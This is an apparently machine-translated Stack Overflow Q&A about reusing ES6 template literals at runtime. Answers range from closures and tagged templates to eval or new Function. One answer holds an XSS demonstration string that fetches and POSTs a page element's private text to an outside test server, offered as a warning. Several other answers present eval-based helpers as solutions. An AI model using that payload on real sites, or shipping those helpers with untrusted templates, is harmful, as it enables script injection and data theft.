ES6テンプレートリテラルを実行時に置換（または再利用）できますか？

tl; dr：再利用可能なテンプレートをリテラルにすることは可能ですか？

私はテンプレートリテラルを使用しようとしましたが、私はそれを取得できなかったと思いますが、今はイライラしています。つまり、私はそれを理解していると思いますが、「それ」は、それがどのように機能するか、またはそれがどのように機能するかではありません。別の方法で取得する必要があります。

私が見たすべての例（タグ付きテンプレートを含む）では、「置換」は実行時ではなく宣言時に行う必要があります。これは、私にとってテンプレートにはまったく役に立たないようです。多分私は狂っていますが、私にとっての「テンプレート」は、作成時にではなく、使用時に置換されるトークンを含むドキュメントです。それ以外の場合、それは単なるドキュメント（文字列）です。テンプレートはトークンとともにトークンとして保存され、それらのトークンは評価時に評価されます。

誰もが次のような恐ろしい例を挙げています：

var a = 'asd';
return `Worthless ${a}!`

それはいいですが、もし私がすでに知っているならa、私はただreturn 'Worthless asd'かしreturn 'Worthless '+aます。ポイントは何ですか？真剣に。さて、ポイントは怠惰です。プラスが少なく、読みやすくなります。すごい。しかし、それはテンプレートではありません！私見ではない。そして重要なのはMHOだけです。問題は、私見ですが、テンプレートが宣言されたときに評価されるということです。

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

expletiveは宣言されていないため、のようなものが出力されますMy undefined template。素晴らしい。実際、少なくともChromeでは、テンプレートを宣言することすらできません。expletive定義されていないため、エラーがスローされます。テンプレートを宣言した後で置換を実行できるようにする必要があります。

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

ただし、これらは実際にはテンプレートではないため、これがどのように可能であるかはわかりません。私がタグを使うべきだと言っても、いや、それらは機能しません：

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

これにより、テンプレートリテラルの名前はひどく誤っており、実際の名前は「ヒアドキュメント」と呼ぶべきだと私は信じるようになりました。「リテラル」の部分は私にヒントを与えたはずだと思います（不変のように）？

何か不足していますか？再利用可能なテンプレートをリテラルにする（良い）方法はありますか？

再利用可能なテンプレートリテラルを提供します。

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

そして、ここに素朴な「ヘルパー」関数があります...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...それを「より良く」するため。

それらがツイスティな感情を生み出す領域から、私はそれらをテンプレートの子宮と呼ぶ傾向があります。

これらのリテラルを他のテンプレートエンジンのように機能させるには、中間フォームが必要です。

これを行う最良の方法は、Functionコンストラクターを使用することです。

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

他のテンプレートエンジンと同様に、ファイルなどの他の場所からその文字列を取得できます。

テンプレートタグが使いにくいなど、この方法を使用すると問題が発生する可能性がありますが、賢い場合は追加できます。補間が遅いため、インラインJavaScriptロジックを使用することもできません。これは、いくつかの考えをもって改善することもできます。

テンプレート文字列を関数に入れることができます：

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

タグ付きテンプレートでも同じことができます：

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

アイデアは、テンプレートパーサーに変数「スロット」から定数文字列を分割させ、毎回新しい値のセットに基づいてすべてをパッチする関数を返すことです。

おそらくこれを行うための最もクリーンな方法は、矢印関数を使用することです（この時点では、すでにES6を使用しているため）。

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...そしてタグ付きテンプレートリテラルの場合：

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

これにより、eval()またはの使用が回避され、Function()コンパイラで問題が発生し、速度が大幅に低下します。

2019答​​え：

注：ライブラリは、当初、ユーザーがXSSを回避するために文字列をサニタイズすることを求めていました。ライブラリのバージョン2では、eval完全に回避されるため、ユーザー文字列をサニタイズする必要はなくなりました（Web開発者はこれを行う必要があります）。

es6-dynamic-templatenpmのモジュールがこれを行います。

const fillTemplate = require('es6-dynamic-template');

現在の回答とは異なり：

• ES6テンプレート文字列を使用しており、類似した形式ではありません。Updateバージョン2では、ES6テンプレート文字列ではなく、同様の形式を使用して、ユーザーが無害な入力文字列を使用できないようにします。
• thisテンプレート文字列には必要ありません
• テンプレート文字列と変数を単一の関数で指定できます
• StackOverflowからのcopypastaではなく、メンテナンスされた更新可能なモジュールです。

使い方は簡単です。テンプレート文字列は後で解決されるため、一重引用符を使用してください！

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

はい、テンプレートで文字列をJSとしてFunction（またはeval）解析することで実行できますが、これは推奨されておらず、XSS攻撃を許可します

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example venomous string which will 'hack' fillTemplate function
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain); // evil string attack here

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}

window.parseString=parseString;

#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }

<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template 
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

代わりに、次のように動的にテンプレートにオブジェクトフィールドを安全に挿入できます。objstr

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

@metamorphasiが提供する回答を簡素化する。

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);

あなたは、テンプレート内の変数を参照するように命じたパラメータまたはコンテキスト/名前空間を使用しない場合は、例えば${0}、${this.something}あるいは${data.something}、あなたはあなたのためのスコープの世話をするテンプレート機能を持たせることができます。

このようなテンプレートを呼び出す方法の例：

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

テンプレート関数：

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

この場合の問題は、ES6テンプレートリテラルを返す関数（この例では、矢印関数を使用したもの）を渡すだけです。私たちが求めているような再利用可能な補間を取得することは、マイナーなトレードオフだと思います。

これはGitHubにあります：https : //github.com/Adelphos/ES6-Reuseable-Template

短い答えは、lodashで_.templateを使用することです

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'

何か不足していますか？再利用可能なテンプレートをリテラルにする[良い]方法はありますか？

この問題に対する私の解決策は私には明白であるように見えるので、私は何かを見逃しているのかもしれません。

私はそれについてほぼ1つのライナーを持っています：

function defer([first, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, first);
}

それで全部です。テンプレートを再利用して置換の解決を延期したい場合は、次のようにします。

> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'

このタグを適用すると、リテラルに渡されたパラメータを無視する'function'（の代わりに'string'）が返されます。その後、新しいパラメーターを指定して呼び出すことができます。パラメータに対応する置換がない場合は、になり'undefined'ます。

拡張回答

この単純なコードは機能しますが、より詳細な動作が必要な場合は、同じロジックを適用でき、無限の可能性があります。あなたは出来る：

1. 元のパラメーターを利用する：

リテラルに渡された元の値をコンストラクションに保存し、テンプレートを適用するときにクリエイティブな方法で使用できます。これらはフラグ、型バリデーター、関数などになる可能性があります。これは、これらをデフォルト値として使用する例です。

    function deferWithDefaults([first, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, first);
    }

次に：

    > t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
    > t('awesome');                 // 'My template is: awesome and versatile' 

2. テンプレートファクトリを記述します。

これを行うには、引数として、リダクションに適用できるカスタム関数を期待する関数でこのロジックをラップし（テンプレートリテラルのピースを結合するとき）、カスタム動作の新しいテンプレートを返します。

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };

次に、たとえば、埋め込まれたhtml、css、sql、bashを書き込むときにパラメーターを自動的にエスケープまたはサニタイズするテンプレートを作成できます...

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }

    const sql = createTemplate(sqlSanitize);

この単純な（繰り返しますが、単純な！）SQLテンプレートを使用すると、次のようなクエリを作成できます。

    > q  = sql`INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`

3. 置換のための名前付きパラメーターを受け入れる：すでに与えられたものに基づいて、それほど難しくない演習。この他の答えには実装があります。

4. 戻りオブジェクトを次のように動作させる'string'：さて、これは物議を醸していますが、興味深い結果につながる可能性があります。この他の答えに示されています。

5. 呼び出しサイトのグローバル名前空間内のパラメーターを解決します。

再利用可能なテンプレートリテラルを提供します。

まあ、これはOPを示したものですコマンドを使用して、彼の補遺でevil、私が意味します、eval。これはeval、渡された変数名をグローバル（またはウィンドウ）オブジェクトに検索するだけで、なしで実行できます。気に入らないので、その方法は示しません。クロージャーは正しい選択です。

これが私の最善の試みです。

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

一般化するには：

var s = (<variable names you want>) => {return `<template with those variables>`}

E6を実行していない場合は、次のようにすることもできます。

var s = function(<variable names you want>){return `<template with those variables>`}

これは、以前の回答よりも少し簡潔に思われます。

https://repl.it/@abalter/reusable-JS-template-literal

一般的に私はevilの使用に反対ですeval()が、この場合は理にかなっています：

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

次に、値を変更してeval（）を再度呼び出すと、新しい結果が得られます。

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

関数で使用したい場合は、次のように記述できます。

function populate(a, b){
  return `${a}.${b}`;
}

更新：次の回答は単一の変数名に限定されているため、次のようなテンプレート'Result ${a+b}'はこの場合は無効です。ただし、いつでもテンプレートの値を試すことができます。

format("This is a test: ${a_b}", {a_b: a+b});

元の回答：

以前の回答に基づいていますが、より「友好的な」ユーティリティ関数を作成します。

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);

    return tpl_func.call(params);
}

次のように呼び出すことができます。

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

そして、結果の文字列は次のようになります。

'This is a test: Hola, second param: Hi'

かなり単純なもの（単に固定変数フィールド、計算なし、条件式など）を探しているが、IE 8,9,10,11のようなテンプレート文字列をサポートしていないブラウザでもクライアント側で機能する場合 ...

さあ行こう：

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}

this.毎回入力する必要がある余分な冗長性に悩まされていたので、のように変数を拡張するために正規表現も追加しまし.aたthis.a。

解決：

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

そのまま使用：

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!

私は、この仕事を簡単に実行できるnpmパッケージを1つ公開するだけです。この答えに深く影響を受けています。

const Template = require('dynamic-template-string');

var tpl = new Template('hello ${name}');

tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

その実装は非常に単純です。あなたがそれを好きになることを望みます。

module.exports = class Template {
  constructor(str) {
    this._func = new Function(`with(this) { return \`${str}\`; }`);
  }

  fill(data) {
    return this._func.call(data);
  }
}

次のようなインライン矢印関数を使用できます。定義：

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

使用法：

console.log(template('my replaced string'));

ランタイムテンプレート文字列

var templateString = (template, values) => {
    let output = template;
    Object.keys(values)
        .forEach(key => {
        output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
    });
    return output;
};

テスト

console.debug(templateString('hello ${word} world', {word: 'wonderful'}));